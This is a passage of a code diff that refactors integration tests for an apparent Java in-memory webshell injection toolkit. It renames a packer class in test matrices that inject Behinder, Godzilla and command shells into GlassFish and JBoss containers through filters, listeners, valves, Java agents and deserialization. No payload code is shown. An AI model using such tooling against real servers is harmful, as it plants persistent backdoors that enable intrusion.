-                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
+                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
         );
     }
 
@@ -86,7 +86,7 @@ public class GlassFish4ContainerTest {
 
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
-    void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
+    void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
         testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish501ContainerTest.java

@@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.glassfish;
 import com.reajason.javaweb.memshell.config.Constants;
 import com.reajason.javaweb.memshell.config.Server;
 import com.reajason.javaweb.memshell.config.ShellTool;
-import com.reajason.javaweb.memshell.packer.Packer;
+import com.reajason.javaweb.memshell.packer.Packers;
 import lombok.extern.slf4j.Slf4j;
 import net.bytebuddy.jar.asm.Opcodes;
 import org.junit.jupiter.api.AfterAll;
@@ -42,30 +42,30 @@ public class GlassFish501ContainerTest {
 
     static Stream<Arguments> casesProvider() {
         return Stream.of(
-                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
+                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
         );
     }
 
@@ -77,7 +77,7 @@ public class GlassFish501ContainerTest {
 
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
-    void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
+    void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
         testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish510ContainerTest.java

@@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.glassfish;
 import com.reajason.javaweb.memshell.config.Constants;
 import com.reajason.javaweb.memshell.config.Server;
 import com.reajason.javaweb.memshell.config.ShellTool;
-import com.reajason.javaweb.memshell.packer.Packer;
+import com.reajason.javaweb.memshell.packer.Packers;
 import lombok.extern.slf4j.Slf4j;
 import net.bytebuddy.jar.asm.Opcodes;
 import org.junit.jupiter.api.AfterAll;
@@ -42,36 +42,36 @@ public class GlassFish510ContainerTest {
 
     static Stream<Arguments> casesProvider() {
         return Stream.of(
-                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
-                arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
-                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
-                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
-                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
-                arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
-                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
+                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.ScriptEngine),
+                arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.ScriptEngine),
+                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.ScriptEngine),
+                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.ScriptEngine),
+                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.ScriptEngine),
+                arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.ScriptEngine),
+                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
 
         );
     }
@@ -85,7 +85,7 @@ public class GlassFish510ContainerTest {
 
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
-    void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
+    void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
         testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish6ContainerTest.java

@@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.glassfish;
 import com.reajason.javaweb.memshell.config.Constants;
 import com.reajason.javaweb.memshell.config.Server;
 import com.reajason.javaweb.memshell.config.ShellTool;
-import com.reajason.javaweb.memshell.packer.Packer;
+import com.reajason.javaweb.memshell.packer.Packers;
 import lombok.extern.slf4j.Slf4j;
 import net.bytebuddy.jar.asm.Opcodes;
 import org.junit.jupiter.api.AfterAll;
@@ -43,30 +43,30 @@ public class GlassFish6ContainerTest {
 
     static Stream<Arguments> casesProvider() {
         return Stream.of(
-                arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
+                arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
         );
     }
 
@@ -78,7 +78,7 @@ public class GlassFish6ContainerTest {
 
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
-    void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
+    void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
         testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish7ContainerTest.java

@@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.glassfish;
 import com.reajason.javaweb.memshell.config.Constants;
 import com.reajason.javaweb.memshell.config.Server;
 import com.reajason.javaweb.memshell.config.ShellTool;
-import com.reajason.javaweb.memshell.packer.Packer;
+import com.reajason.javaweb.memshell.packer.Packers;
 import lombok.extern.slf4j.Slf4j;
 import net.bytebuddy.jar.asm.Opcodes;
 import org.junit.jupiter.api.AfterAll;
@@ -43,21 +43,21 @@ public class GlassFish7ContainerTest {
 
     static Stream<Arguments> casesProvider() {
         return Stream.of(
-                arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
+                arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
         );
     }
 
@@ -69,7 +69,7 @@ public class GlassFish7ContainerTest {
 
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
-    void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
+    void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
         testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java

@@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.jbossas;
 import com.reajason.javaweb.memshell.config.Constants;
 import com.reajason.javaweb.memshell.config.Server;
 import com.reajason.javaweb.memshell.config.ShellTool;
-import com.reajason.javaweb.memshell.packer.Packer;
+import com.reajason.javaweb.memshell.packer.Packers;
 import lombok.extern.slf4j.Slf4j;
 import net.bytebuddy.jar.asm.Opcodes;
 import org.junit.jupiter.api.AfterAll;
@@ -42,30 +42,30 @@ public class Jboss423ContainerTest {
 
     static Stream<Arguments> casesProvider() {
         return Stream.of(
-                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
+                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
